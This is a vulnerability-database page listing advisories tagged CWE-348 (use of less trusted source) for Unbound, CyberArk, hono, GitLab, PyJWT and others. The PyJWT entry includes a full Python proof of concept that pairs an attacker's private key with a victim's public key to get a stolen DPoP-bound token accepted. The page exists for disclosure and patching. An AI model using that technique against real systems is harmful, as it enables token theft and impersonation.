Common Weakness Enumeration

CWE-348

Allowed

Use of Less Trusted Source

Abstraction: Base · Status: Draft

The product has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.

161 vulnerabilities reference this CWE, most recent first.

GHSA-VQQ3-G95X-FPMR

Vulnerability from github – Published: 2026-07-22 15:31 – Updated: 2026-07-24 15:32
VLAI
Details

In NLnet Labs Unbound 1.6.2 up to and including 1.25.1, when Unbound is configured with the 'respip' module in front of the validator together with a 'response-ip' redirect rule or an RPZ file with an RPZ-IP trigger, the rewriting handler does not check the security status of the upstream answer and can instead rewrite a BOGUS A/AAAA answer to point to an operator's configured IP. If the validator finds an expired or otherwise invalid RRSIG on an answer whose A record falls within a 'response-ip'/RPZ configuration, the answer is still rewritten and given a hard coded security level of INSECURE. This results in the client receiving an INSECURE NOERROR reply rewritten by the operator's configured IP. A malicious actor can exploit the possible poisonous effect by spoofing a BOGUS A/AAAA answer that falls inside the operator's configured subnet rewrites. Such DNSSEC protected answers are then insecurely redirected to the operator's configured target.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-50243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-22T14:17:20Z",
    "severity": "MODERATE"
  },
  "details": "In NLnet Labs Unbound 1.6.2 up to and including 1.25.1, when Unbound is configured with the \u0027respip\u0027 module in front of the validator together with a \u0027response-ip\u0027 redirect rule or an RPZ file with an RPZ-IP trigger, the rewriting handler does not check the security status of the upstream answer and can instead rewrite a BOGUS A/AAAA answer to point to an operator\u0027s configured IP. If the validator finds an expired or otherwise invalid RRSIG on an answer whose A record falls within a \u0027response-ip\u0027/RPZ configuration, the answer is still rewritten and given a hard coded security level of INSECURE. This results in the client receiving an INSECURE NOERROR reply rewritten by the operator\u0027s configured IP. A malicious actor can exploit the possible poisonous effect by spoofing a BOGUS A/AAAA answer that falls inside the operator\u0027s configured subnet rewrites. Such DNSSEC protected answers are then insecurely redirected to the operator\u0027s configured target.",
  "id": "GHSA-vqq3-g95x-fpmr",
  "modified": "2026-07-24T15:32:55Z",
  "published": "2026-07-22T15:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50243"
    },
    {
      "type": "WEB",
      "url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2026-50243.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VXPP-M9VW-RJCX

Vulnerability from github – Published: 2025-02-03 18:30 – Updated: 2025-02-20 00:32
VLAI
Details

PVWA (Password Vault Web Access) in CyberArk Privileged Access Manager Self-Hosted before 14.4 does not properly address environment issues that can contribute to Host header injection.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-54840"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-03T18:15:36Z",
    "severity": "MODERATE"
  },
  "details": "PVWA (Password Vault Web Access) in CyberArk Privileged Access Manager Self-Hosted before 14.4 does not properly address environment issues that can contribute to Host header injection.",
  "id": "GHSA-vxpp-m9vw-rjcx",
  "modified": "2025-02-20T00:32:02Z",
  "published": "2025-02-03T18:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54840"
    },
    {
      "type": "WEB",
      "url": "https://docs.cyberark.com/pam-self-hosted/latest/en/content/release%20notes/rn-whatsnew14-4.htm#Securitybugfixes"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Hurdano/8244855ef8ec364fd98a2693de6e30c5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W38V-JXMP-5HF2

Vulnerability from github – Published: 2024-03-18 15:30 – Updated: 2025-03-10 21:31
VLAI
Details

Unitronics Unistream Unilogic – Versions prior to 1.35.227 -

CWE-348: Use of Less Trusted Source may allow RCE

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-27773"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-18T14:15:09Z",
    "severity": "HIGH"
  },
  "details": "Unitronics Unistream Unilogic \u2013 Versions prior to 1.35.227 -\n\nCWE-348: Use of Less Trusted Source may allow RCE",
  "id": "GHSA-w38v-jxmp-5hf2",
  "modified": "2025-03-10T21:31:08Z",
  "published": "2024-03-18T15:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27773"
    },
    {
      "type": "WEB",
      "url": "https://claroty.com/team82/blog/new-critical-vulnerabilities-in-unitronics-unistream-devices-uncovered"
    },
    {
      "type": "WEB",
      "url": "https://www.gov.il/en/departments/dynamiccollectors/cve_advisories_listing?skip=0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WGPF-JWQJ-8H8P

Vulnerability from github – Published: 2026-06-16 14:32 – Updated: 2026-07-21 15:26
VLAI
Summary
hono: Lambda@Edge adapter keeps only the last value of a repeated request header, dropping the rest
Details

Summary

On AWS Lambda@Edge, CloudFront delivers a request header that appears more than once as several separate entries. The adapter writes each value with Headers.set instead of Headers.append, so every value overwrites the previous one and only the last reaches the application. Repeated request headers such as X-Forwarded-For, Forwarded, and Via are silently truncated to a single value.

Details

A repeated request header carries an ordered list of values. The adapter iterates the list but overwrites on each step, keeping only the final value. Middleware that depends on the full list — for example IP restriction that walks the X-Forwarded-For chain, or auditing based on Forwarded/Via hops — receives incomplete data. The API Gateway adapter already appends repeated values and is not affected.

This issue arises only on Lambda@Edge deployments, for requests that contain the same header more than once.

Impact

Request middleware sees only the last value of a repeated header instead of the full chain. For applications that base access control on the X-Forwarded-For chain, this can weaken or alter that decision; for auditing, hop history is lost. This affects applications deployed on AWS Lambda@Edge that rely on multi-value request headers.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hono"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.12.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54289"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T14:32:31Z",
    "nvd_published_at": "2026-06-22T18:16:47Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nOn AWS Lambda@Edge, CloudFront delivers a request header that appears more than once as several separate entries. The adapter writes each value with `Headers.set` instead of `Headers.append`, so every value overwrites the previous one and only the last reaches the application. Repeated request headers such as `X-Forwarded-For`, `Forwarded`, and `Via` are silently truncated to a single value.\n\n### Details\n\nA repeated request header carries an ordered list of values. The adapter iterates the list but overwrites on each step, keeping only the final value. Middleware that depends on the full list \u2014 for example IP restriction that walks the `X-Forwarded-For` chain, or auditing based on `Forwarded`/`Via` hops \u2014 receives incomplete data. The API Gateway adapter already appends repeated values and is not affected.\n\nThis issue arises only on Lambda@Edge deployments, for requests that contain the same header more than once.\n\n### Impact\n\nRequest middleware sees only the last value of a repeated header instead of the full chain. For applications that base access control on the `X-Forwarded-For` chain, this can weaken or alter that decision; for auditing, hop history is lost. This affects applications deployed on AWS Lambda@Edge that rely on multi-value request headers.",
  "id": "GHSA-wgpf-jwqj-8h8p",
  "modified": "2026-07-21T15:26:57Z",
  "published": "2026-06-16T14:32:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/security/advisories/GHSA-wgpf-jwqj-8h8p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54289"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/honojs/hono"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "hono: Lambda@Edge adapter keeps only the last value of a repeated request header, dropping the rest"
}

GHSA-WMW4-VJ25-RFXW

Vulnerability from github – Published: 2024-07-09 06:30 – Updated: 2024-07-09 06:30
VLAI
Details

The Unlimited Elements For Elementor (Free Widgets, Addons, Templates) plugin for WordPress is vulnerable to IP Address Spoofing in all versions up to, and including, 1.5.112 due to insufficient IP address validation and/or use of user-supplied HTTP headers as a primary method for IP retrieval. This makes it possible for unauthenticated attackers to bypass antispam functionality in the Form Builder widgets.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-6171"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T05:15:14Z",
    "severity": "MODERATE"
  },
  "details": "The Unlimited Elements For Elementor (Free Widgets, Addons, Templates) plugin for WordPress is vulnerable to IP Address Spoofing in all versions up to, and including, 1.5.112 due to insufficient IP address validation and/or use of user-supplied HTTP headers as a primary method for IP retrieval. This makes it possible for unauthenticated attackers  to bypass antispam functionality in the Form Builder widgets.",
  "id": "GHSA-wmw4-vj25-rfxw",
  "modified": "2024-07-09T06:30:41Z",
  "published": "2024-07-09T06:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6171"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/trunk/inc_php/framework/functions.class.php#L3407"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/trunk/inc_php/unitecreator_form.class.php#L742"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3112307"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/714acd7d-6d19-4087-bb27-b9a4ccbb678b?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WR3R-JHMC-F6JW

Vulnerability from github – Published: 2026-09-24 00:30 – Updated: 2026-09-24 00:30
VLAI
Details

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.1 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to spoof merge request authorship and attribute content to arbitrary existing users on the target instance due to improper reliance on ephemeral cache state during Direct Transfer imports.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-92530"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-24T00:17:22Z",
    "severity": "MODERATE"
  },
  "details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.1 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to spoof merge request authorship and attribute content to arbitrary existing users on the target instance due to improper reliance on ephemeral cache state during Direct Transfer imports.",
  "id": "GHSA-wr3r-jhmc-f6jw",
  "modified": "2026-09-24T00:30:26Z",
  "published": "2026-09-24T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92530"
    },
    {
      "type": "WEB",
      "url": "https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-1-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/628379"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X33G-CR3X-6449

Vulnerability from github – Published: 2026-10-05 23:44 – Updated: 2026-10-05 23:44
VLAI
Summary
PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion
Details

Summary

PyJWT accepts internally inconsistent OKP private JWKs where the declared public key x does not correspond to the supplied private key d.

When d is present, OKPAlgorithm.from_jwk() constructs the Ed25519/Ed448 private key from d without verifying that the public key derived from d matches x. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.

In affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key.

Details

The vulnerable logic is in jwt/algorithms.py:

if "x" not in obj:
    raise InvalidKeyError('OKP should have "x" parameter')

x = base64url_decode(obj.get("x"))

if "d" not in obj:
    if curve == "Ed25519":
        return Ed25519PublicKey.from_public_bytes(x)
    return Ed448PublicKey.from_public_bytes(x)

d = base64url_decode(obj.get("d"))

if curve == "Ed25519":
    return Ed25519PrivateKey.from_private_bytes(d)

return Ed448PrivateKey.from_private_bytes(d)

When d is present, x is parsed but never compared with the public key derived from d.

For example, PyJWT accepts:

{
  "kty": "OKP",
  "crv": "Ed25519",
  "x": "<legitimate-user-public-key>",
  "d": "<attacker-private-key>"
}

even though x and d belong to different key pairs.

The behavior has existed since OKP private-JWK import was introduced:

  • Ed25519: PyJWT 2.1.0+
  • Ed448: PyJWT 2.2.0+
  • Confirmed through PyJWT 2.14.0 and current master

A correct import should derive the public key from d and reject the JWK when it does not equal the supplied x.

PoC

The reproducer creates two Ed25519 keypairs:

  • a legitimate holder keypair
  • an attacker keypair

It then:

  1. Creates an access token whose cnf.jkt is bound to the legitimate public key.
  2. Creates a DPoP proof JWK containing the legitimate user's x together with the attacker's d.
  3. Computes the RFC 7638 thumbprint from x, which still matches the access-token binding.
  4. Passes the complete JWK to PyJWK.from_dict().
  5. PyJWT imports the private key from the attacker-controlled d.
  6. A DPoP proof signed with the attacker's private key verifies successfully.

Observed result:

thumbprint_matches: true
actual_key_is_attacker_key: true
actual_key_matches_declared_x: false
stolen_sender_constrained_token_accepted: true
attacker_has_legitimate_private_key: false

Tested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.

The complete reproducer is:

#!/usr/bin/env python3


from __future__ import annotations

import base64
import hashlib
import json
import os
import platform
import time
from importlib.metadata import version
from typing import Any

import jwt
from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey
from cryptography.hazmat.primitives.serialization import (
    Encoding,
    NoEncryption,
    PrivateFormat,
    PublicFormat,
)


ACCESS_TOKEN_SECRET = b"synthetic-authorization-server-key-32b"
HTTP_METHOD = "GET"
HTTP_URI = "https://resource.example/protected"


def b64url(raw: bytes) -> str:
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii")


def public_x(private_key: Ed25519PrivateKey) -> str:
    return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw))


def private_d(private_key: Ed25519PrivateKey) -> str:
    return b64url(
        private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption())
    )


def jwk_thumbprint(jwk: dict[str, Any]) -> str:
    canonical = json.dumps(
        {"crv": jwk["crv"], "kty": jwk["kty"], "x": jwk["x"]},
        separators=(",", ":"),
        sort_keys=True,
    ).encode("ascii")
    return b64url(hashlib.sha256(canonical).digest())


def access_token_hash(access_token: str) -> str:
    return b64url(hashlib.sha256(access_token.encode("ascii")).digest())


def verify_resource_request(
    access_token: str,
    proof: str,
    *,
    reject_private_header_jwk: bool = False,
) -> dict[str, Any]:
    """Model the security-relevant stages of an RFC 9449 resource server."""
    access_claims = jwt.decode(
        access_token,
        ACCESS_TOKEN_SECRET,
        algorithms=["HS256"],
        issuer="https://authorization.example",
        audience="resource-api",
        options={"require": ["exp", "iss", "aud", "sub", "cnf"]},
    )
    header = jwt.get_unverified_header(proof)
    if header.get("typ") != "dpop+jwt" or header.get("alg") != "EdDSA":
        raise ValueError("invalid DPoP header policy")
    jwk = header.get("jwk")
    if not isinstance(jwk, dict):
        raise ValueError("missing DPoP JWK")
    if reject_private_header_jwk and any(
        member in jwk for member in ("d", "p", "q", "dp", "dq", "qi", "k")
    ):
        raise ValueError("DPoP header JWK contains private material")
    if jwk_thumbprint(jwk) != access_claims["cnf"]["jkt"]:
        raise ValueError("DPoP key does not match cnf.jkt")

    key = jwt.PyJWK.from_dict(jwk)
    proof_claims = jwt.decode(
        proof,
        key,
        algorithms=["EdDSA"],
        options={"require": ["htm", "htu", "iat", "jti", "ath"]},
    )
    if proof_claims["htm"] != HTTP_METHOD or proof_claims["htu"] != HTTP_URI:
        raise ValueError("DPoP request binding mismatch")
    if proof_claims["ath"] != access_token_hash(access_token):
        raise ValueError("DPoP access-token hash mismatch")
    return access_claims


def main() -> None:
    legitimate_holder = Ed25519PrivateKey.generate()
    attacker = Ed25519PrivateKey.generate()
    legitimate_x = public_x(legitimate_holder)
    attacker_x = public_x(attacker)

    legitimate_public_jwk = {
        "alg": "EdDSA",
        "crv": "Ed25519",
        "kty": "OKP",
        "x": legitimate_x,
    }
    mismatched_proof_jwk = {
        **legitimate_public_jwk,
        "d": private_d(attacker),
    }
    pinned_jkt = jwk_thumbprint(legitimate_public_jwk)

    now = int(time.time())
    access_token = jwt.encode(
        {
            "aud": "resource-api",
            "cnf": {"jkt": pinned_jkt},
            "exp": now + 300,
            "iat": now,
            "iss": "https://authorization.example",
            "scope": "admin:read",
            "sub": "legitimate-holder",
        },
        ACCESS_TOKEN_SECRET,
        algorithm="HS256",
    )
    proof_claims = {
        "ath": access_token_hash(access_token),
        "htm": HTTP_METHOD,
        "htu": HTTP_URI,
        "iat": now,
        "jti": "synthetic-attacker-proof",
    }
    attacker_proof = jwt.encode(
        proof_claims,
        attacker,
        algorithm="EdDSA",
        headers={"jwk": mismatched_proof_jwk, "typ": "dpop+jwt"},
    )

    imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key
    imported_x = b64url(
        imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)
    )
    accepted_claims = verify_resource_request(access_token, attacker_proof)

    public_only_rejected = False
    public_only_error = None
    public_only_proof = jwt.encode(
        proof_claims,
        attacker,
        algorithm="EdDSA",
        headers={"jwk": legitimate_public_jwk, "typ": "dpop+jwt"},
    )
    try:
        verify_resource_request(access_token, public_only_proof)
    except Exception as error:
        public_only_rejected = True
        public_only_error = type(error).__name__

    private_member_control_rejected = False
    private_member_control_error = None
    try:
        verify_resource_request(
            access_token,
            attacker_proof,
            reject_private_header_jwk=True,
        )
    except Exception as error:
        private_member_control_rejected = True
        private_member_control_error = type(error).__name__

    result = {
        "environment": {
            "PyJWT": jwt.__version__,
            "PyJWT_source": str(jwt.__file__),
            "Python": platform.python_version(),
            "cryptography": version("cryptography"),
            "source_ref": os.environ.get("PYJWT_SOURCE_REF", "installed-release"),
        },
        "dpop_binding": {
            "access_token_subject": accepted_claims["sub"],
            "access_token_scope": accepted_claims["scope"],
            "pinned_jkt": pinned_jkt,
            "proof_jkt": jwk_thumbprint(mismatched_proof_jwk),
            "thumbprint_matches": jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt,
        },
        "imported_key": {
            "declared_x": legitimate_x,
            "attacker_x": attacker_x,
            "actual_imported_x": imported_x,
            "actual_key_is_attacker_key": imported_x == attacker_x,
            "actual_key_matches_declared_x": imported_x == legitimate_x,
        },
        "vulnerable_composition": {
            "stolen_sender_constrained_token_accepted": accepted_claims["sub"]
            == "legitimate-holder",
            "attacker_has_legitimate_private_key": False,
        },
        "controls": {
            "public_only_jwk_rejected": public_only_rejected,
            "public_only_error": public_only_error,
            "reject_private_header_jwk_blocks_attack": private_member_control_rejected,
            "private_member_control_error": private_member_control_error,
        },
    }

    assert jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt
    assert imported_x == attacker_x
    assert imported_x != legitimate_x
    assert accepted_claims["sub"] == "legitimate-holder"
    assert public_only_rejected and public_only_error == "InvalidSignatureError"
    assert private_member_control_rejected and private_member_control_error == "ValueError"
    print(json.dumps(result, indent=2, sort_keys=True))


if __name__ == "__main__":
    main()

06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py

A public example of the affected composition exists in StrongDM's agentic-auth Flask middleware: it computes an OKP thumbprint from x and subsequently passes the entire JWK to PyJWK.from_dict() for EdDSA DPoP verification without rejecting d.

Impact

The PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another.

In a DPoP verifier that:

  • calculates cnf.jkt / JWK thumbprints from the declared x,
  • passes the same JWK to PyJWT for signature verification, and
  • does not reject private JWK parameters,

an attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key.

RFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject d are not vulnerable to the demonstrated attack.

Maintainer assessment (2026-09-12)

We independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding x and d components returned the private key derived from d while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses x as the JWK identity and the returned key for cryptographic operations can act on two different key identities.

Exact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (>= 2.1.0, <= 2.14.0) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release.

The fix is on master in commit 3cd9ceec33ced359decbad75b413ad668ae6332c. It derives the public bytes from d, compares them with x, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree 9f219601e39026c7094d48f3fbb6678951878aa8 with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command python -m tox passed all 35 required environments both before and after the commit.

The reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact.

The fix is not yet contained in a released PyJWT 2.x version, so patched_versions remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on master; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary.

Maintainer release update (2026-09-23)

PyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 3cd9ceec33ced359decbad75b413ad668ae6332c. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.

The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: matching Ed25519 and Ed448 x/d private JWK components import successfully, while mismatched components raise InvalidKeyError. The supported affected range remains >= 2.1.0, <= 2.14.0; the patched version is 2.15.0. The earlier statement that no released patched version exists is superseded by this update.

The PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.14.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PyJWT"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102275"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-348"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T23:44:03Z",
    "nvd_published_at": "2026-09-28T21:17:15Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPyJWT accepts internally inconsistent OKP private JWKs where the declared public key `x` does not correspond to the supplied private key `d`.\n\nWhen `d` is present, `OKPAlgorithm.from_jwk()` constructs the Ed25519/Ed448 private key from `d` without verifying that the public key derived from `d` matches `x`. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.\n\nIn affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder\u0027s private key.\n\n### Details\n\nThe vulnerable logic is in `jwt/algorithms.py`:\n\n```python\nif \"x\" not in obj:\n    raise InvalidKeyError(\u0027OKP should have \"x\" parameter\u0027)\n\nx = base64url_decode(obj.get(\"x\"))\n\nif \"d\" not in obj:\n    if curve == \"Ed25519\":\n        return Ed25519PublicKey.from_public_bytes(x)\n    return Ed448PublicKey.from_public_bytes(x)\n\nd = base64url_decode(obj.get(\"d\"))\n\nif curve == \"Ed25519\":\n    return Ed25519PrivateKey.from_private_bytes(d)\n\nreturn Ed448PrivateKey.from_private_bytes(d)\n```\n\nWhen `d` is present, `x` is parsed but never compared with the public key derived from `d`.\n\nFor example, PyJWT accepts:\n\n```json\n{\n  \"kty\": \"OKP\",\n  \"crv\": \"Ed25519\",\n  \"x\": \"\u003clegitimate-user-public-key\u003e\",\n  \"d\": \"\u003cattacker-private-key\u003e\"\n}\n```\n\neven though `x` and `d` belong to different key pairs.\n\nThe behavior has existed since OKP private-JWK import was introduced:\n\n* Ed25519: PyJWT 2.1.0+\n* Ed448: PyJWT 2.2.0+\n* Confirmed through PyJWT 2.14.0 and current master\n\nA correct import should derive the public key from `d` and reject the JWK when it does not equal the supplied `x`.\n\n### PoC\n\nThe reproducer creates two Ed25519 keypairs:\n\n* a legitimate holder keypair\n* an attacker keypair\n\nIt then:\n\n1. Creates an access token whose `cnf.jkt` is bound to the legitimate public key.\n2. Creates a DPoP proof JWK containing the legitimate user\u0027s `x` together with the attacker\u0027s `d`.\n3. Computes the RFC 7638 thumbprint from `x`, which still matches the access-token binding.\n4. Passes the complete JWK to `PyJWK.from_dict()`.\n5. PyJWT imports the private key from the attacker-controlled `d`.\n6. A DPoP proof signed with the attacker\u0027s private key verifies successfully.\n\nObserved result:\n\n```text\nthumbprint_matches: true\nactual_key_is_attacker_key: true\nactual_key_matches_declared_x: false\nstolen_sender_constrained_token_accepted: true\nattacker_has_legitimate_private_key: false\n```\n\nTested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.\n\nThe complete reproducer is:\n```python\n#!/usr/bin/env python3\n\n\nfrom __future__ import annotations\n\nimport base64\nimport hashlib\nimport json\nimport os\nimport platform\nimport time\nfrom importlib.metadata import version\nfrom typing import Any\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey\nfrom cryptography.hazmat.primitives.serialization import (\n    Encoding,\n    NoEncryption,\n    PrivateFormat,\n    PublicFormat,\n)\n\n\nACCESS_TOKEN_SECRET = b\"synthetic-authorization-server-key-32b\"\nHTTP_METHOD = \"GET\"\nHTTP_URI = \"https://resource.example/protected\"\n\n\ndef b64url(raw: bytes) -\u003e str:\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode(\"ascii\")\n\n\ndef public_x(private_key: Ed25519PrivateKey) -\u003e str:\n    return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw))\n\n\ndef private_d(private_key: Ed25519PrivateKey) -\u003e str:\n    return b64url(\n        private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption())\n    )\n\n\ndef jwk_thumbprint(jwk: dict[str, Any]) -\u003e str:\n    canonical = json.dumps(\n        {\"crv\": jwk[\"crv\"], \"kty\": jwk[\"kty\"], \"x\": jwk[\"x\"]},\n        separators=(\",\", \":\"),\n        sort_keys=True,\n    ).encode(\"ascii\")\n    return b64url(hashlib.sha256(canonical).digest())\n\n\ndef access_token_hash(access_token: str) -\u003e str:\n    return b64url(hashlib.sha256(access_token.encode(\"ascii\")).digest())\n\n\ndef verify_resource_request(\n    access_token: str,\n    proof: str,\n    *,\n    reject_private_header_jwk: bool = False,\n) -\u003e dict[str, Any]:\n    \"\"\"Model the security-relevant stages of an RFC 9449 resource server.\"\"\"\n    access_claims = jwt.decode(\n        access_token,\n        ACCESS_TOKEN_SECRET,\n        algorithms=[\"HS256\"],\n        issuer=\"https://authorization.example\",\n        audience=\"resource-api\",\n        options={\"require\": [\"exp\", \"iss\", \"aud\", \"sub\", \"cnf\"]},\n    )\n    header = jwt.get_unverified_header(proof)\n    if header.get(\"typ\") != \"dpop+jwt\" or header.get(\"alg\") != \"EdDSA\":\n        raise ValueError(\"invalid DPoP header policy\")\n    jwk = header.get(\"jwk\")\n    if not isinstance(jwk, dict):\n        raise ValueError(\"missing DPoP JWK\")\n    if reject_private_header_jwk and any(\n        member in jwk for member in (\"d\", \"p\", \"q\", \"dp\", \"dq\", \"qi\", \"k\")\n    ):\n        raise 